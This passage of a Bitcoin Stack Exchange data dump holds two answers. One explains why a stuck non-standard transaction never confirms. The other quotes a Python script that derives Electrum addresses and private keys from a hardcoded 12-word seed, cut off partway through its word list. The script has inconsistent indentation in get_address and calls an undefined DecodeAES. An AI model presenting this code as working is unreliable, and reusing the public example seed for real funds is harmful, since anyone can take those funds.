  <row Id="32097" PostTypeId="2" ParentId="32094" CreationDate="2014-10-23T13:09:17.757" Score="1" Body="&lt;p&gt;Your transaction has obviously hard time getting accepted by miners, thus it is stuck in the unconfirmed transactions pool. If no miner decides to include it in a block (because it's non-standard), you'll wait forever - it won't automatically &quot;fail&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best thing you can do is create another transaction spending the same outputs, this time with standard inputs though (use BitcoinCore client if unsure). It will be picked up by the miners quickly.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-10-23T13:09:17.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32098" PostTypeId="2" ParentId="30005" CreationDate="2014-10-23T15:03:05.297" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=612143.0&quot; rel=&quot;nofollow&quot;&gt;jonald_fyookball on BitcoinTalk has written a short python script that will generate your addresses/private keys without Electrum:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This program is free software: you can redistribute it and/or modify&#xA;# it under the terms of the GNU General Public License as published by&#xA;# the Free Software Foundation, either version 3 of the License, or&#xA;# (at your option) any later version.&#xA;#&#xA;# This program is distributed in the hope that it will be useful,&#xA;# but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the&#xA;# GNU General Public License for more details.&#xA;#&#xA;#&#xA;#  - NOTE:  You will need to install the hashlib and ecdsa modules into Python!&#xA;#&#xA;#&#xA;#&#xA;import hashlib, ecdsa&#xA;from ecdsa.curves import SECP256k1&#xA;from ecdsa.ellipticcurve import Point&#xA;from ecdsa.util import string_to_number, number_to_string&#xA;from ecdsa.ecdsa import curve_secp256k1, generator_secp256k1&#xA;#&#xA;#&#xA;#&#xA;#&#xA;#&#xA;#&#xA;&#xA;##--------------------------------------------------------------------------&#xA;&#xA;numberofreceivingaddresses=6;&#xA;numberofchangeaddresses=6;&#xA;seed=&quot;constant forest adore false green weave stop guy fur freeze giggle clock&quot;;&#xA;&#xA;##--------------------------------------------------------------------------&#xA;def sha256(x):&#xA;    return hashlib.sha256(x).digest()&#xA;&#xA;def Hash(x):&#xA;    if type(x) is unicode: x=x.encode('utf-8')&#xA;    return sha256(sha256(x))&#xA;&#xA;def pw_decode(s, password):&#xA;    if password is not None:&#xA;        secret = Hash(password)&#xA;        try:&#xA;            d = DecodeAES(secret, s).decode(&quot;utf8&quot;)&#xA;        except Exception:&#xA;            raise Exception('Invalid password')&#xA;        return d&#xA;    else:&#xA;        return s&#xA;&#xA;def get_address(mpk,  for_change, n):&#xA;        pubkey =  get_pubkey(mpk,for_change, n)&#xA;        address = public_key_to_bc_address( pubkey.decode('hex') )&#xA;    print &quot;Address &quot; + str(n) + &quot;: &quot; + address;&#xA;    print &quot;public key&quot;;&#xA;    print &quot;     &quot;+pubkey;&#xA;        return address&#xA;&#xA;&#xA;def get_pubkey(mpk, for_change, n):&#xA;        curve = SECP256k1&#xA;        z = get_sequence(mpk,for_change,n);&#xA;        master_public_key = ecdsa.VerifyingKey.from_string( mpk, curve = SECP256k1 )&#xA;        pubkey_point = master_public_key.pubkey.point + z*curve.generator&#xA;        public_key2 = ecdsa.VerifyingKey.from_public_point( pubkey_point, curve = SECP256k1 )&#xA;        return '04' + public_key2.to_string().encode('hex')&#xA;&#xA;def get_sequence(mpk, for_change, n):&#xA;        return string_to_number( Hash( &quot;%d:%d:&quot;%(n,for_change) + mpk ) )&#xA;&#xA;def get_private_key_from_stretched_exponent(mpk,for_change, n, secexp):&#xA;        order = generator_secp256k1.order()&#xA;        secexp = ( secexp + get_sequence(mpk,for_change, n) ) % order&#xA;        pk = number_to_string( secexp, generator_secp256k1.order() )&#xA;        compressed = False&#xA;        return SecretToASecret( pk, compressed )&#xA;&#xA;def get_private_key(mpk,seed, sequence):&#xA;        for_change, n = sequence&#xA;        secexp = stretch_key(seed)&#xA;        pk = get_private_key_from_stretched_exponent(mpk,for_change, n, secexp)&#xA;        return pk;&#xA;&#xA;def stretch_key(seed):&#xA;        oldseed = seed&#xA;        for i in range(100000):&#xA;            seed = hashlib.sha256(seed + oldseed).digest()&#xA;        return string_to_number( seed )&#xA;&#xA;def public_key_to_bc_address(public_key):&#xA;    h160 = hash_160(public_key)&#xA;    return hash_160_to_bc_address(h160)&#xA;&#xA;def SecretToASecret(secret, compressed=False, addrtype=0):&#xA;    vchIn = chr((addrtype+128)&amp;amp;255) + secret&#xA;    if compressed: vchIn += '\01'&#xA;    return EncodeBase58Check(vchIn)&#xA;&#xA;def EncodeBase58Check(vchIn):&#xA;    hash = Hash(vchIn)&#xA;    return b58encode(vchIn + hash[0:4])&#xA;&#xA;def b58encode(v):&#xA;    &quot;&quot;&quot; encode v, which is a string of bytes, to base58.&quot;&quot;&quot;&#xA;&#xA;    long_value = 0L&#xA;    for (i, c) in enumerate(v[::-1]):&#xA;        long_value += (256**i) * ord(c)&#xA;    result = ''&#xA;    while long_value &amp;gt;= __b58base:&#xA;        div, mod = divmod(long_value, __b58base)&#xA;        result = __b58chars[mod] + result&#xA;        long_value = div&#xA;    result = __b58chars[long_value] + result&#xA;&#xA;    # Bitcoin does a little leading-zero-compression:&#xA;    # leading 0-bytes in the input become leading-1s&#xA;    nPad = 0&#xA;    for c in v:&#xA;        if c == '\0': nPad += 1&#xA;        else: break&#xA;&#xA;    return (__b58chars[0]*nPad) + result&#xA;&#xA;def hash_160(public_key):&#xA;    try:&#xA;        md = hashlib.new('ripemd160')&#xA;        md.update(sha256(public_key))&#xA;        return md.digest()&#xA;    except Exception:&#xA;        import ripemd&#xA;        md = ripemd.new(sha256(public_key))&#xA;        return md.digest()&#xA;&#xA;def hash_160_to_bc_address(h160, addrtype = 0):&#xA;    vh160 = chr(addrtype) + h160&#xA;    h = Hash(vh160)&#xA;    addr = vh160 + h[0:4]&#xA;    return b58encode(addr)&#xA;&#xA;__b58chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'&#xA;__b58base = len(__b58chars)&#xA;&#xA;##-------------------------------------------------------------------------------&#xA;&#xA;words = [ &quot;like&quot;, &quot;just&quot;, &quot;love&quot;, &quot;know&quot;, &quot;never&quot;, &quot;want&quot;, &quot;time&quot;, &quot;out&quot;, &quot;there&quot;, &quot;make&quot;, &quot;look&quot;, &quot;eye&quot;, &quot;down&quot;, &quot;only&quot;, &quot;think&quot;, &quot;heart&quot;, &quot;back&quot;, &quot;then&quot;, &quot;into&quot;, &quot;about&quot;, &quot;more&quot;, &quot;away&quot;, &quot;still&quot;, &quot;them&quot;, &quot;take&quot;, &quot;thing&quot;, &quot;even&quot;, &quot;through&quot;, &quot;long&quot;, &quot;always&quot;, &quot;world&quot;, &quot;too&quot;, &quot;friend&quot;, &quot;tell&quot;, &quot;try&quot;, &quot;hand&quot;, &quot;thought&quot;, &quot;over&quot;, &quot;here&quot;, &quot;other&quot;, &quot;need&quot;, &quot;smile&quot;, &quot;again&quot;, &quot;much&quot;, &quot;cry&quot;, &quot;been&quot;, &quot;night&quot;, &quot;ever&quot;, &quot;little&quot;, &quot;said&quot;, &quot;end&quot;, &quot;some&quot;, &quot;those&quot;, &quot;around&quot;, &quot;mind&quot;, &quot;people&quot;, &quot;girl&quot;, &quot;leave&quot;, &quot;dream&quot;, &quot;left&quot;, &quot;turn&quot;, &quot;myself&quot;, &quot;give&quot;, &quot;nothing&quot;, &quot;really&quot;, &quot;off&quot;, &quot;before&quot;, &quot;something&quot;, &quot;find&quot;, &quot;walk&quot;, &quot;wish&quot;, &quot;good&quot;, &quot;once&quot;, &quot;place&quot;, &quot;ask&quot;, &quot;stop&quot;, &quot;keep&quot;, &quot;watch&quot;, &quot;seem&quot;, &quot;everything&quot;, &quot;wait&quot;, &quot;got&quot;, &quot;yet&quot;, &quot;made&quot;, &quot;remember&quot;, &quot;start&quot;, &quot;alone&quot;, &quot;run&quot;, &quot;hope&quot;, &quot;maybe&quot;, &quot;believe&quot;, &quot;body&quot;, &quot;hate&quot;, &quot;after&quot;, &quot;close&quot;, &quot;talk&quot;, &quot;stand&quot;, &quot;own&quot;, &quot;each&quot;, &quot;hurt&quot;, &quot;help&quot;, &quot;home&quot;, &quot;god&quot;, &quot;soul&quot;, &quot;new&quot;, &quot;many&quot;, &quot;two&quot;, &quot;inside&quot;, &quot;should&quot;, &quot;true&quot;, &quot;first&quot;, &quot;fear&quot;, &quot;mean&quot;, &quot;better&quot;, &quot;play&quot;, &quot;another&quot;, &quot;gone&quot;, &quot;change&quot;, &quot;use&quot;, &quot;wonder&quot;, &quot;someone&quot;, &quot;hair&quot;, &quot;cold&quot;, &quot;open&quot;, &quot;best&quot;, &quot;any&quot;, &quot;behind&quot;, &quot;happen&quot;, &quot;water&quot;, &quot;dark&quot;, &quot;laugh&quot;, &quot;stay&quot;, &quot;forever&quot;, &quot;name&quot;, &quot;work&quot;, &quot;show&quot;, &quot;sky&quot;, &quot;break&quot;, &quot;came&quot;, &quot;deep&quot;, &quot;door&quot;, &quot;put&quot;, &quot;black&quot;, &quot;together&quot;, &quot;upon&quot;, &quot;happy&quot;, &quot;such&quot;, &quot;great&quot;, &quot;white&quot;, &quot;matter&quot;, &quot;fill&quot;, &quot;past&quot;, &quot;please&quot;, &quot;burn&quot;, &quot;cause&quot;, &quot;enough&quot;, &quot;touch&quot;, &quot;moment&quot;, &quot;soon&quot;, &quot;voice&quot;, &quot;scream&quot;, &quot;anything&quot;, &quot;stare&quot;, &quot;sound&quot;, &quot;red&quot;, &quot;everyone&quot;, &quot;hide&quot;, &quot;kiss&quot;, &quot;truth&quot;, &quot;death&quot;, &quot;beautiful&quot;, &quot;mine&quot;, &quot;blood&quot;, &quot;broken&quot;, &quot;very&quot;, &quot;pass&quot;, &quot;next&quot;, &quot;forget&quot;, &quot;tree&quot;, &quot;wrong&quot;, &quot;air&quot;, &quot;mother&quot;, &quot;understand&quot;, &quot;lip&quot;, &quot;hit&quot;, &quot;wall&quot;, &quot;memory&quot;, &quot;sleep&quot;, &quot;free&quot;, &quot;high&quot;, &quot;realize&quot;, &quot;school&quot;, &quot;might&quot;, &quot;skin&quot;, &quot;sweet&quot;, &quot;perfect&quot;, &quot;blue&quot;, &quot;kill&quot;, &quot;breath&quot;, &quot;dance&quot;, &quot;against&quot;, &quot;fly&quot;, &quot;between&quot;, &quot;grow&quot;, &quot;strong&quot;, &quot;under&quot;, &quot;listen&quot;, &quot;bring&quot;, &quot;sometimes&quot;, &quot;speak&quot;, &quot;pull&quot;, &quot;person&quot;, &quot;become&quot;, &quot;family&quot;, &quot;begin&quot;, &quot;ground&quot;, &quot;real&quot;, &quot;small&quot;, &quot;father&quot;, &quot;sure&quot;, &quot;feet&quot;, &quot;rest&quot;, &quot;young&quot;, &quot;finally&quot;, &quot;land&quot;, &quot;across&quot;, &quot;today&quot;, &quot;different&quot;, &quot;guy&quot;, &quot;line&quot;, &quot;fire&quot;, &quot;reason&quot;, &quot;reach&quot;, &quot;second&quot;, &quot;slowly&quot;, &quot;write&quot;, &quot;eat&quot;, &quot;smell&quot;, &quot;mouth&quot;, &quot;step&quot;, &quot;learn&quot;, &quot;three&quot;, &quot;floor&quot;, &quot;promise&quot;, &quot;breathe&quot;, &quot;darkness&quot;, &quot;push&quot;, &quot;earth&quot;, &quot;guess&quot;, &quot;save&quot;, &quot;song&quot;, &quot;above&quot;, &quot;along&quot;, &quot;both&quot;, &quot;color&quot;, &quot;house&quot;, &quot;almost&quot;, &quot;sorry&quot;, &quot;anymore&quot;, &quot;brother&quot;, &quot;okay&quot;, &quot;dear&quot;, &quot;game&quot;, &quot;fade&quot;, &quot;already&quot;, &quot;apart&quot;, &quot;warm&quot;, &quot;beauty&quot;, &quot;heard&quot;, &quot;notice&quot;, &quot;question&quot;, &quot;shine&quot;, &quot;began&quot;, &quot;piece&quot;, &quot;whole&quot;, &quot;shadow&quot;, &quot;secret&quot;, &quot;street&quot;, &quot;within&quot;, &quot;finger&quot;, &quot;point&quot;, &quot;morning&quot;, &quot;whisper&quot;, &quot;child&quot;, &quot;moon&quot;, &quot;green&quot;, &quot;story&quot;, &quot;glass&quot;, &quot;kid&quot;, &quot;silence&quot;, &quot;since&quot;, &quot;soft&quot;, &quot;yourself&quot;, &quot;empty&quot;, &quot;shall&quot;, &quot;angel&quot;, &quot;answer&quot;, &quot;baby&quot;, &quot;bright&quot;, &quot;dad&quot;, &quot;path&quot;, &quot;worry&quot;, &quot;hour&quot;, &quot;drop&quot;, &quot;follow&quot;, &quot;power&quot;, &quot;war&quot;, &quot;half&quot;, &quot;flow&quot;, &quot;heaven&quot;, &quot;act&quot;, &quot;chance&quot;, &quot;fact&quot;, &quot;least&quot;, &quot;tired&quot;, &quot;children&quot;, &quot;near&quot;, &quot;quite&quot;, &quot;afraid&quot;, &quot;rise&quot;, &quot;sea&quot;, &quot;taste&quot;, &quot;window&quot;, &quot;cover&quot;, &quot;nice&quot;, &quot;trust&quot;, &quot;lot&quot;, &quot;sad&quot;, &quot;cool&quot;, &quot;force&quot;, &quot;peace&quot;, &quot;return&quot;, &quot;blind&quot;, &quot;easy&quot;, &quot;ready&quot;, &quot;roll&quot;, &quot;rose&quot;, &quot;drive&quot;, &quot;held&quot;, &quot;music&quot;, &quot;beneath&quot;, &quot;hang&quot;, &quot;mom&quot;, &quot;paint&quot;, &quot;emotion&quot;, &quot;quiet&quot;, &quot;clear&quot;, &quot;cloud&quot;, &quot;few&quot;, &quot;pretty&quot;, &quot;bird&quot;, &quot;outside&quot;, &quot;paper&quot;, &quot;picture&quot;, &quot;front&quot;, &quot;rock&quot;, &quot;simple&quot;, &quot;anyone&quot;, &quot;meant&quot;, &quot;reality&quot;, &quot;road&quot;, &quot;sense&quot;, &quot;waste&quot;, &quot;bit&quot;, &quot;leaf&quot;, &quot;thank&quot;, &quot;happiness&quot;, &quot;meet&quot;, &quot;men&quot;, &quot;smoke&quot;, &quot;truly&quot;, &quot;decide&quot;, &quot;self&quot;, &quot;age&quot;, &quot;book&quot;, &quot;form&quot;, &quot;alive&quot;, &quot;carry&quot;, &quot;escape&quot;, &quot;damn&quot;, &quot;instead&quot;, &quot;able&quot;, &quot;ice&quot;, &quot;minute&quot;, &quot;throw&quot;, &quot;catch&quot;, &quot;leg&quot;, &quot;ring&quot;, &quot;course&quot;, &quot;goodbye&quot;, &quot;lead&quot;, &quot;poem&quot;, &quot;sick&quot;, &quot;corner&quot;, &quot;desire&quot;, &quot;known&quot;, &quot;problem&quot;, &quot;remind&quot;, &quot;shoulder&quot;, &quot;suppose&quot;, &quot;toward&quot;, &quot;wave&quot;, &quot;drink&quot;, &quot;jump&quot;, &quot;woman&quot;, &quot;pretend&quot;, &quot;sister&quot;, &quot;week&quot;, &quot;human&quot;, &quot;joy&quot;, &quot;crack&quot;, &quot;grey&quot;, &quot;pray&quot;, &quot;surprise&quot;, &quot;dry&quot;, &quot;knee&quot;, &quot;less&quot;, &quot;search&quot;, &quot;bleed&quot;, &quot;caught&quot;, &quot;clean&quot;, &quot;embrace&quot;, &quot;future&quot;, &quot;king&quot;, &quot;son&quot;, &quot;sorrow&quot;, &quot;chest&quot;, &quot;hug&quot;, &quot;remain&quot;, &quot;sat&quot;, &quot;worth&quot;, &quot;blow&quot;, &quot;daddy&quot;, &quot;final&quot;, &quot;parent&quot;, &quot;tight&quot;, &quot;also&quot;, &quot;create&quot;, &quot;lonely&quot;, &quot;safe&quot;, &quot;cross&quot;, &quot;dress&quot;, &quot;evil&quot;, &quot;silent&quot;, &quot;bone&quot;, &quot;fate&quot;, &quot;perhaps&quot;, &quot;anger&quot;, &quot;class&quot;, &quot;scar&quot;, &quot;snow&quot;, &quot;tiny&quot;, &quot;tonight&quot;, &quot;continue&quot;, &quot;control&quot;, &quot;dog&quot;, &quot;edge&quot;, &quot;mirror&quot;, &quot;month&quot;, &quot;suddenly&quot;, &quot;comfort&quot;, &quot;given&quot;, &quot;loud&quot;, &quot;quickly&quot;, &quot;gaze&quot;, &quot;plan&quot;, &quot;rush&quot;, &quot;stone&quot;, &quot;town&quot;, &quot;battle&quot;, &quot;ignore&quot;, &quot;spirit&quot;, &quot;stood&quot;, &quot;stupid&quot;, &quot;yours&quot;, &quot;brown&quot;, &quot;build&quot;, &quot;dust&quot;, &quot;hey&quot;, &quot;kept&quot;, &quot;pay&quot;, &quot;phone&quot;, &quot;twist&quot;, &quot;although&quot;, &quot;ball&quot;, &quot;beyond&quot;, &quot;hidden&quot;, &quot;nose&quot;, &quot;taken&quot;, &quot;fail&quot;, &quot;float&quot;, &quot;pure&quot;, &quot;somehow&quot;, &quot;wash&quot;, &quot;wrap&quot;, &quot;angry&quot;, &quot;cheek&quot;, &quot;creature&quot;, &quot;forgotten&quot;, &quot;heat&quot;, &quot;rip&quot;, &quot;single&quot;, &quot;space&quot;, &quot;special&quot;, &quot;weak&quot;, &quot;whatever&quot;, &quot;yell&quot;, &quot;anyway&quot;, &quot;blame&quot;, &quot;job&quot;, &quot;choose&quot;, &quot;country&quot;, &quot;curse&quot;, &quot;drift&quot;, &quot;echo&quot;, &quot;figure&quot;, &quot;grew&quot;, &quot;laughter&quot;, &quot;neck&quot;, &quot;suffer&quot;, &quot;worse&quot;, &quot;yeah&quot;, &quot;disappear&quot;, &quot;foot&quot;, &quot;forward&quot;, &quot;knife&quot;, &quot;mess&quot;, &quot;somewhere&quot;, &quot;stomach&quot;, &quot;storm&quot;, &quot;beg&quot;, &quot;idea&quot;, &quot;lift&quot;, &quot;offer&quot;, &quot;breeze&quot;, &quot;field&quot;, &quot;five&quot;, &quot;often&quot;, &quot;simply&quot;, &quot;stuck&quot;, &quot;win&quot;, &quot;allow&quot;, &quot;confuse&quot;, &quot;enjoy&quot;, &quot;except&quot;, &quot;flower&quot;, &quot;seek&quot;, &quot;strength&quot;, &quot;calm&quot;, &quot;grin&quot;, &quot;gun&quot;, &quot;heavy&quot;, &quot;hill&quot;, &quot;large&quot;, &quot;ocean&quot;, &quot;shoe&quot;, &quot;sigh&quot;, &quot;straight&quot;, &quot;summer&quot;, &quot;tongue&quot;, &quot;accept&quot;, &quot;crazy&quot;, &quot;everyday&quot;, &quot;exist&quot;, &quot;grass&quot;, &quot;mistake&quot;, &quot;sent&quot;, &quot;shut&quot;, &quot;surround&quot;, &quot;table&quot;, &quot;ache&quot;, &quot;brain&quot;, &quot;destroy&quot;, &quot;heal&quot;, &quot;nature&quot;, &quot;shout&quot;, &quot;sign&quot;, &quot;stain&quot;, &quot;choice&quot;, &quot;doubt&quot;, &quot;glance&quot;, &quot;glow&quot;, &quot;mountain&quot;, &quot;queen&quot;, &quot;stranger&quot;, &quot;throat&quot;, &quot;tomorrow&quot;, &quot;city&quot;, &quot;either&quot;, &quot;fish&quot;, &quot;flame&quot;, &quot;rather&quot;, &quot;shape&quot;, &quot;spin&quot;, &quot;spread&quot;, &quot;ash&quot;, &quot;distance&quot;, &quot;finish&quot;, &quot;image&quot;, &quot;imagine&quot;, &quot;important&quot;, &quot;nobody&quot;, &quot;shatter&quot;, &quot;warmth&quot;, &quot;became&quot;, &quot;feed&quot;, &quot;flesh&quot;, &quot;funny&quot;, &quot;lust&quot;, &quot;shirt&quot;, &quot;trouble&quot;, &quot;yellow&quot;, &quot;attention&quot;, &quot;bare&quot;, &quot;bite&quot;, &quot;money&quot;, &quot;protect&quot;, &quot;amaze&quot;, &quot;appear&quot;, &quot;born&quot;, &quot;choke&quot;, &quot;completely&quot;, &quot;daughter&quot;, &quot;fresh&quot;, &quot;friendship&quot;, &quot;gentle&quot;, &quot;probably&quot;, &quot;six&quot;, &quot;deserve&quot;, &quot;expect&quot;, &quot;grab&quot;, &quot;middle&quot;, &quot;nightmare&quot;, &quot;river&quot;, &quot;thousand&quot;, &quot;weight&quot;, &quot;worst&quot;, &quot;wound&quot;, &quot;barely&quot;, &quot;bottle&quot;, &quot;cream&quot;, &quot;regret&quot;, &quot;relationship&quot;, &quot;stick&quot;, &quot;test&quot;, &quot;crush&quot;, &quot;endless&quot;, &quot;fault&quot;, &quot;itself&quot;, &quot;rule&quot;, &quot;spill&quot;, &quot;art&quot;, &quot;circle&quot;, &quot;join&quot;, &quot;kick&quot;, &quot;mask&quot;, &quot;master&quot;, &quot;passion&quot;, &quot;quick&quot;, &quot;raise&quot;, &quot;smooth&quot;, &quot;unless&quot;, &quot;wander&quot;, &quot;actually&quot;, &quot;broke&quot;, &quot;chair&quot;, &quot;deal&quot;, &quot;favorite&quot;, &quot;gift&quot;, &quot;note&quot;, &quot;number&quot;, &quot;sweat&quot;, &quot;box&quot;, &quot;chill&quot;, &quot;clothes&quot;, &quot;lady&quot;, &quot;mark&quot;, &quot;park&quot;, &quot;poor&quot;, &quot;sadness&quot;, &quot;tie&quot;, &quot;animal&quot;, &quot;belong&quot;, &quot;brush&quot;, &quot;consume&quot;, &quot;dawn&quot;, &quot;forest&quot;, &quot;innocent&quot;, &quot;pen&quot;, &quot;pride&quot;, &quot;stream&quot;, &quot;thick&quot;, &quot;clay&quot;, &quot;complete&quot;, &quot;count&quot;, &quot;draw&quot;, &quot;faith&quot;, &quot;press&quot;, &quot;silver&quot;, &quot;struggle&quot;, &quot;surface&quot;, &quot;taught&quot;, &quot;teach&quot;, &quot;wet&quot;, &quot;bless&quot;, &quot;chase&quot;, &quot;climb&quot;, &quot;enter&quot;, &quot;letter&quot;, &quot;melt&quot;, &quot;metal&quot;, &quot;movie&quot;, &quot;stretch&quot;, &quot;swing&quot;, &quot;vision&quot;, &quot;wife&quot;, &quot;beside&quot;, &quot;crash&quot;, &quot;forgot&quot;, &quot;guide&quot;, &quot;haunt&quot;, &quot;joke&quot;, &quot;knock&quot;, &quot;plant&quot;, &quot;pour&quot;, &quot;prove&quot;, &quot;reveal&quot;, &quot;steal&quot;, &quot;stuff&quot;, &quot;trip&quot;, &quot;wood&quot;, &quot;wrist&quot;, &quot;bother&quot;, &quot;bottom&quot;, &quot;crawl&quot;, &quot;crowd&quot;, &quot;fix&quot;, &quot;forgive&quot;, &quot;frown&quot;, &quot;grace&quot;, &quot;loose&quot;, &quot;lucky&quot;, &quot;party&quot;, &quot;release&quot;, &quot;surely&quot;, &quot;survive&quot;, &quot;teacher&quot;, &quot;gently&quot;, &quot;grip&quot;, &quot;speed&quot;, &quot;suicide&quot;, &quot;travel&quot;, &quot;treat&quot;, &quot;vein&quot;, &quot;written&quot;, &quot;cage&quot;, &quot;chain&quot;, &quot;conversation&quot;, &quot;date&quot;, &quot;enemy&quot;, &quot;however&quot;, &quot;interest&quot;, &quot;million&quot;, &quot;page&quot;, &quot;pink&quot;, &quot;proud&quot;, &quot;sway&quot;, &quot;themselves&quot;, &quot;winter&quot;, &quot;church&quot;, &quot;cruel&quot;, &quot;cup&quot;, &quot;demon&quot;, &quot;experience&quot;, &quot;freedom&quot;, &quot;pair&quot;, &quot;pop&quot;, &quot;purpose&quot;, &quot;respect&quot;, &quot;shoot&quot;, &quot;softly&quot;, &quot;state&quot;, &quot;strange&quot;, &quot;bar&quot;, &quot;birth&quot;, &quot;curl&quot;, &quot;dirt&quot;, &quot;excuse&quot;, &quot;lord&quot;, &quot;lovely&quot;, &quot;monster&quot;, &quot;order&quot;, &quot;pack&quot;, &quot;pants&quot;, &quot;pool&quot;, &quot;scene&quot;, &quot;seven&quot;, &quot;shame&quot;, &quot;slide&quot;, &quot;ugly&quot;, &quot;among&quot;, &quot;blade&quot;, &quot;blonde&quot;, &quot;closet&quot;, &quot;creek&quot;, &quot;deny&quot;, &quot;drug&quot;, &quot;eternity&quot;, &quot;gain&quot;, &quot;grade&quot;, &quot;handle&quot;, &quot;key&quot;, &quot;linger&quot;, &quot;pale&quot;, &quot;prepare&quot;, &quot;swallow&quot;, &quot;swim&quot;, &quot;tremble&quot;, &quot;wheel&quot;, &quot;won&quot;, &quot;cast&quot;, &quot;cigarette&quot;, &quot;claim&quot;, &quot;college&quot;, &quot;direction&quot;, &quot;dirty&quot;, &quot;gather&quot;, &quot;ghost&quot;, &quot;hundred&quot;, &quot;loss&quot;, &quot;lung&quot;, &quot;orange&quot;, &quot;present&quot;, &quot;swear&quot;, &quot;swirl&quot;, &quot;twice&quot;, &quot;wild&quot;, &quot;bitter&quot;, &quot;blanket&quot;, &quot;doctor&quot;, &quot;everywhere&quot;, &quot;flash&quot;, &quot;grown&quot;, &quot;knowledge&quot;, &quot;numb&quot;, &quot;pressure&quot;, &quot;radio&quot;, &quot;repeat&quot;, &quot;ruin&quot;, &quot;spend&quot;, &quot;unknown&quot;, &quot;buy&quot;, &quot;clock&quot;, &quot;devil&quot;, &quot;early&quot;, &quot;false&quot;, &quot;fantasy&quot;, &quot;pound&quot;, &quot;precious&quot;, &quot;refuse&quot;, &quot;sheet&quot;, &quot;teeth&quot;, &quot;welcome&quot;, &quot;add&quot;, &quot;ahead&quot;, &quot;block&quot;, &quot;bury&quot;, &quot;caress&quot;, &quot;content&quot;, &quot;depth&quot;, &quot;despite&quot;, &quot;distant&quot;, &quot;marry&quot;, &quot;purple&quot;, &quot;threw&quot;, &quot;whenever&quot;, &quot;bomb&quot;, &quot;dull&quot;, &quot;easily&quot;, &quot;grasp&quot;, &quot;hospital&quot;, &quot;innocence&quot;, &quot;normal&quot;, &quot;receive&quot;, &quot;reply&quot;, &quot;rhyme&quot;, &quot;shade&quot;, &quot;someday&quot;, &quot;sword&quot;, &quot;toe&quot;, &quot;visit&quot;, &quot;asleep&quot;, &quot;bought&quot;, &quot;center&quot;, &quot;consider&quot;, &quot;flat&quot;, &quot;hero&quot;, &quot;history&quot;, &quot;ink&quot;, &quot;insane&quot;, &quot;muscle&quot;, &quot;mystery&quot;, &quot;pocket&quot;, &quot;reflection&quot;, &quot;shove&quot;, &quot;silently&quot;, &quot;smart&quot;, &quot;soldier&quot;, &quot;spot&quot;, &quot;stress&quot;, &quot;train&quot;, &quot;type&quot;, &quot;view&quot;, &quot;whether&quot;, &quot;bus&quot;, &quot;energy&quot;, &quot;explain&quot;, &quot;holy&quot;, &quot;hunger&quot;, &quot;inch&quot;, &quot;magic&quot;, &quot;mix&quot;, &quot;noise&quot;, &quot;nowhere&quot;, &quot;prayer&quot;, &quot;presence&quot;, &quot;shock&quot;, &quot;snap&quot;, &quot;spider&quot;, &quot;study&quot;, &quot;thunder&quot;, &quot;trail&quot;, &quot;admit&quot;, &quot;agree&quot;, &quot;bag&quot;, &quot;bang&quot;, &quot;bound&quot;, &quot;butterfly&quot;, &quot;cute&quot;, &quot;exactly&quot;, &quot;explode&quot;, &quot;familiar&quot;, &quot;fold&quot;, &quot;further&quot;, &quot;pierce&quot;, &quot;reflect&quot;, &quot;scent&quot;, &quot;selfish&quot;, &quot;sharp&quot;, &quot;sink&quot;, &quot;spring&quot;, &quot;stumble&quot;, &quot;universe&quot;, &quot;weep&quot;, &quot;women&quot;, &quot;wonderful&quot;, &quot;action&quot;, &quot;ancient&quot;, &quot;attempt&quot;, &quot;avoid&quot;, &quot;birthday&quot;, &quot;branch&quot;, &quot;chocolate&quot;, &quot;core&quot;, &quot;depress&quot;, &quot;drunk&quot;, &quot;especially&quot;, &quot;focus&quot;, &quot;fruit&quot;, &quot;honest&quot;, &quot;match&quot;, &quot;palm&quot;, &quot;perfectly&quot;, &quot;pillow&quot;, &quot;pity&quot;, &quot;poison&quot;, &quot;roar&quot;, &quot;shift&quot;, &quot;slightly&quot;, &quot;thump&quot;, &quot;truck&quot;, &quot;tune&quot;, &quot;twenty&quot;, &quot;unable&quot;, &quot;wipe&quot;, &quot;wrote&quot;, &quot;coat&quot;, &quot;constant&quot;, &quot;dinner&quot;, &quot;drove&quot;, &quot;egg&quot;, &quot;eternal&quot;, &quot;flight&quot;, &quot;flood&quot;, &quot;frame&quot;, &quot;freak&quot;, &quot;gasp&quot;, &quot;glad&quot;, &quot;hollow&quot;, &quot;motion&quot;, &quot;peer&quot;, &quot;plastic&quot;, &quot;root&quot;, &quot;screen&quot;, &quot;season&quot;, &quot;sting&quot;, &quot;strike&quot;, &quot;team&quot;, &quot;unlike&quot;, &quot;victim&quot;, &quot;volume&quot;, &quot;warn&quot;, &quot;weird&quot;, &quot;attack&quot;, &quot;await&quot;, &quot;awake&quot;, &quot;built&quot;, &quot;charm&quot;, &quot;crave&quot;, &quot;despair&quot;, &quot;fought&quot;, &quot;grant&quot;, &quot;grief&quot;, &quot;horse&quot;, &quot;limit&quot;, &quot;message&quot;, &quot;ripple&quot;, &quot;sanity&quot;, &quot;scatter&quot;, &quot;serve&quot;, &quot;split&quot;, &quot;string&quot;, &quot;trick&quot;, &quot;annoy&quot;, &quot;blur&quot;, &quot;boat&quot;, &quot;brave&quot;, &quot;clearly&quot;, &quot;cling&quot;, &quot;connect&quot;, &quot;fist&quot;, &quot;forth&quot;, &quot;imagination&quot;, &quot;iron&quot;, &quot;jock&quot;, &quot;judge&quot;, &quot;lesson&quot;, &quot;milk&quot;, &quot;misery&quot;, &quot;nail&quot;, &quot;naked&quot;, &quot;ourselves&quot;, &quot;poet&quot;, &quot;possible&quot;, &quot;princess&quot;, &quot;sail&quot;, &quot;size&quot;, &quot;snake&quot;, &quot;society&quot;, &quot;stroke&quot;, &quot;torture&quot;, &quot;toss&quot;, &quot;trace&quot;, &quot;wise&quot;, &quot;bloom&quot;, &quot;bullet&quot;, &quot;cell&quot;, &quot;check&quot;, &quot;cost&quot;, &quot;darling&quot;, &quot;during&quot;, &quot;footstep&quot;, &quot;fragile&quot;, &quot;hallway&quot;, &quot;hardly&quot;, &quot;horizon&quot;, &quot;invisible&quot;, &quot;journey&quot;, &quot;midnight&quot;, 